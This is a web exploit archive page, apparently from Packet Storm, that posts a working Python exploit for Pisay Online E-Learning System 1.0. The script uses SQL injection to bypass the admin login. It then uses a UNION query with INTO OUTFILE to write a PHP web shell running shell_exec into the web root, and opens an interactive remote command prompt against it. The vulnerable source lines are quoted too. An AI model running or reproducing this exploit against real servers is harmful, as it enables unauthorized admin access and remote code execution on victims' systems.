exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Pisay Online E-Learning System 1.0 SQL Injection / Code Execution

Pisay Online E-Learning System 1.0 SQL Injection / Code Execution
Posted May 6, 2020
Authored by Bobby Cooke

Pisay Online E-Learning System version 1.0 suffers from remote SQL Injection and code execution vulnerabilities.

tags | exploit, remote, vulnerability, code execution, sql injection
SHA-256 | 015c32b2f3ffc4e91ba637f9293f09e7320caeb03bcd1d7fcba4cb418aa58392

Pisay Online E-Learning System 1.0 SQL Injection / Code Execution

Change Mirror Download
# Exploit Title: Pisay Online E-Learning System v1.0 - SQLi Auth Bypass + Remote Code Execution (RCE)
# Exploit Author: Bobby Cooke
# Date: May 5th, 2020
# Vendor Homepage: https://www.sourcecodester.com/php/14192/pisay-online-e-learning-system-using-phpmysql.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/donbermoy/e-learningsystem_0.zip
# Version: 1.0
# Tested On: Windows 10 Pro 1909 (x64_86) + XAMPP 7.4.4
# Vulnerable Source Code:
# /e-learningsystem/admin/login.php
# 121 $email = trim($_POST['user_email']);
# 122 $upass = trim($_POST['user_pass']);
# 123 $h_upass = sha1($upass);
# 132 $user = new User();
# 134 $res = $user::userAuthentication($email, $h_upass);
# /e-learningsystem/include/accounts.php
# 3 class User {
# 23 static function userAuthentication($email,$h_pass){
# 25 $mydb->setQuery("SELECT * FROM `tblusers` WHERE `UEMAIL` = '". $email ."' and `PASS` = '". $h_pass ."'");
# /e-learningsystem/admin/modules/lesson/edit.php
# 6 @$id = $_GET['id'];
# 7 if($id==''){
# 10 $lesson = New Lesson();
# 11 $res = $lesson->single_lesson($id);
# /e-learningsystem/include/lessons.php
# 4 class Lesson {
# 5 protected static $tblname = "tbllesson";
# 35 function single_lesson($id=0){
# 37-38 $mydb->setQuery("SELECT * FROM ".self::$tblname." Where LessonID= '{$id}' LIMIT 1");

import requests, sys, re

requests.packages.urllib3.\
disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

def webshell(SERVER_URL):
try:
while True:
cmd = raw_input('C:\\ ')
command = {'cmd': cmd}
r2 = s.get(SERVER_URL+'../../../../webshell.php', params=command, verify=False)
response = r2.text
cleanResponse = response.replace('AAAAAAAAAAAAAAA', '')
cleanResponse = cleanResponse.replace('313371337', '')
print(cleanResponse)
except:
print("\r\nExiting.")
sys.exit(-1)

if __name__ == "__main__":
if len(sys.argv) != 2:
print "(+) Usage: %s <SERVER_URL>" % sys.argv[0]
print "(+) Example: %s 'https://10.0.0.3:443/e-learningsystem/'" % sys.argv[0]
sys.exit(-1)
SERVER_URL = sys.argv[1]
ADMIN_URL = SERVER_URL + 'admin/login.php'
LESSON_URL = SERVER_URL + 'admin/modules/lesson/index.php'
s = requests.Session()
s.get(SERVER_URL, verify=False)
payload1 = {'user_email': "boku' OR 1337=1337 LIMIT 1 -- PowerUp", 'user_pass': 'InstantTransmission', 'btnLogin': ''}
s.post(ADMIN_URL, data=payload1, verify=False)

payload2 = {'view': 'edit', 'id': '31337\' AND 1337=31337 union all select 313371337,"AAAAAAAAAAAAAAA",@@datadir,"AAAAAAAAAAAAAAA","AAAAAAAAAAAAAAA" -- kamahamaha'}
r1 = s.get(LESSON_URL, params=payload2, verify=False)
dirtyPath = str(re.findall(r'"Title" type="text" value=".*>', r1.text))
dataPath=re.sub('^.*"Title" type="text" value="', '', dirtyPath)
dataPath=re.sub('">.*$', '', dataPath)
dataPath=dataPath.replace('\\\\', '/')
xamppPath=re.sub('xampp.*', 'xampp', dataPath)
payload3 = {'view': 'edit', 'id': '31337\' AND 1337=31337 union all select 313371337,"AAAAAAAAAAAAAAA","<?php echo shell_exec($_GET[\'cmd\']);?>","AAAAAAAAAAAAAAA","AAAAAAAAAAAAAAA" into OUTFILE \''+xamppPath+'/htdocs/webshell.php\' -- kamahamaha'}
print(payload3)
s.get(LESSON_URL, params=payload3, verify=False)
webshell(SERVER_URL)
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close